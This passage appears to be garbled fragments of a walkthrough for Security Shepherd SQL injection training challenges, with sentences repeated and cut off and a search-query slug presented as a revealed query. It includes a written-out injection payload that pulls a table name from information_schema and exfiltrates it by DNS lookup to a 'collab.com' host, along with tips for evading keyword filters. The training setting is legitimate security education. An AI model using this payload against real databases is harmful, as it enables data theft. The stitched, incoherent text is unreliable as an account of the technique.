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Most Security Shepherd SQL challenges use double quotes ( " ) or single quotes ( ' ) for string encapsulation. Try entering a single quote ' in the coupon field.
But more importantly, the query was partially revealed: sql+injection+challenge+5+security+shepherd+new
Bingo. We have a boolean-based blind SQL injection. But remember: the "new" challenge filters spaces. Most Security Shepherd SQL challenges use double quotes
' OR 1=1; DECLARE @t nvarchar(4000); SET @t = (SELECT TOP 1 table_name FROM information_schema.tables); EXEC xp_dnsresolve @t + '.collab.com' -- We have a boolean-based blind SQL injection
"Our new note-taking app uses prepared statements for all database queries. However, one developer thought it would be 'more efficient' to dynamically build a search query for the admin panel. Your goal: retrieve the administrator's private note."
When a filter blocks a keyword, the goal is to represent that keyword in a way the database understands but the filter misses.